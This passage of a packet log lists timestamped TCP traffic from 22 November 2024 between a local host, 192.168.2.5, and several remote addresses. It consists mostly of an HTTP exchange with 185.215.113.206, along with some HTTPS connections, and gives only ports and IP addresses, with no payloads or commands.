Nov 22, 2024 00:11:51.589139938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.589271069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.590111971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.590333939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.590374947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.590439081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.591041088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.591171026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.591229916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.591357946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.592109919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.592263937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.592447996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.592567921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.593291998 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.593364000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.593389988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.593558073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.594408035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.594541073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.594587088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.594651937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.595592022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.595653057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.595680952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.595760107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.596573114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.596712112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.596834898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.596947908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.597675085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.597780943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.598001003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.598274946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.598695993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.598825932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.598841906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.598958969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.599803925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.599936962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.599982023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.600142956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.600895882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.601031065 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.601408958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.601543903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.602425098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.602633953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.602677107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.602823019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.603230000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.603243113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.603482962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.604161024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.604238987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.604270935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.604413986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.605338097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.605351925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.605516911 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.606427908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.606479883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.606511116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.606609106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.607486963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.607541084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.607572079 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.607747078 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.608591080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.608663082 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.608695030 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.608761072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.609649897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.609776974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.609808922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.609849930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.610795975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.610940933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.701757908 CET	443	49851	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.701838017 CET	443	49851	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.702214956 CET	49851	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.702261925 CET	49851	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.702261925 CET	49851	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.702296972 CET	443	49851	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.702307940 CET	443	49851	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.705426931 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.705468893 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.705580950 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.705820084 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.705836058 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.755007982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.755244017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.755561113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.755584955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.755599022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.755636930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.755743980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.756629944 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.756753922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.757138014 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.757778883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.757867098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.757900953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.757987022 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.758893967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.759056091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.759140015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.759727001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.760128975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.760286093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.760315895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.760384083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.761079073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.761188984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.761728048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.761838913 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.762237072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.762248993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.763358116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.763370037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.763463020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.763463020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.764379025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.764590979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.764672995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.765389919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.765419960 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.765471935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.765471935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.766511917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.766575098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.766659975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.766917944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.767693996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.767838001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.767942905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.768686056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.768832922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.768969059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.769057035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.769772053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.769890070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.769951105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.770900965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.771003962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.771034956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.771222115 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.771986008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.772171021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.772188902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.772242069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.773226023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.773298979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.773386955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.773613930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.774183035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.774252892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.774909973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.775048018 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.775306940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.775324106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.775382996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.775382996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.776355982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.776546955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.776576996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.776700020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.777467966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.777606964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.777636051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.778542995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.779079914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.779196024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.779347897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.779675961 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.779689074 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.779907942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.780777931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.780827045 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.780878067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.780971050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.781842947 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.782088041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.782118082 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.782205105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.782927990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.783016920 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.783570051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.783950090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.784046888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.784091949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.784123898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.785140991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.785291910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.785522938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.786041975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.786318064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.786374092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.786638021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.786739111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.801121950 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.803353071 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.803381920 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.804291010 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.804296970 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.883343935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.006011963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.113435030 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.114001989 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.114012957 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.114382029 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.114898920 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.114963055 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.115106106 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.115303993 CET	49859	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.115308046 CET	443	49859	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.176759005 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.177179098 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.177208900 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.178288937 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.178452015 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.179557085 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.179651976 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.181974888 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.181993961 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.226874113 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.252981901 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.253670931 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.253703117 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.254265070 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.254271984 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.259891033 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.260003090 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.260185003 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.260185003 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.260318041 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.260334015 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.262959003 CET	49864	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.263005972 CET	443	49864	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.263147116 CET	49864	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.263336897 CET	49864	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.263346910 CET	443	49864	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.295696974 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.295955896 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.295964003 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.297005892 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.297238111 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.298372030 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.298372030 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.298383951 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.298432112 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.340612888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.340667009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.340703964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.340795040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.340941906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.341084957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.341123104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.341461897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.342046022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.342124939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.342159033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.342313051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.342696905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.342817068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.342833996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.342969894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.343816042 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.343884945 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.343935966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.344031096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.344943047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.345055103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.345082045 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.345174074 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.346007109 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.346122026 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.346160889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.346271992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.347091913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.347193003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.347217083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.347321033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.347321987 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.347582102 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.347601891 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.348189116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.348354101 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.348372936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.348475933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.348764896 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.348889112 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.349179029 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.349189997 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.349306107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.349320889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.349452019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.349611998 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.349611998 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.349626064 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.349680901 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.350389004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.350493908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.350528955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.350596905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.351511955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.351640940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.351705074 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.351780891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.352579117 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.352677107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.352715015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.352782965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.353662968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.353777885 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.353780985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.353878975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.354764938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.354907036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.354927063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.355129957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.355851889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.355962992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.355995893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.356085062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.356939077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.357014894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.357026100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.357115030 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.358050108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.358146906 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.358165979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.358288050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.359141111 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.359240055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.359252930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.359397888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.360277891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.360351086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.360383034 CET	49788	80	192.168.2.5	185.215.113.206
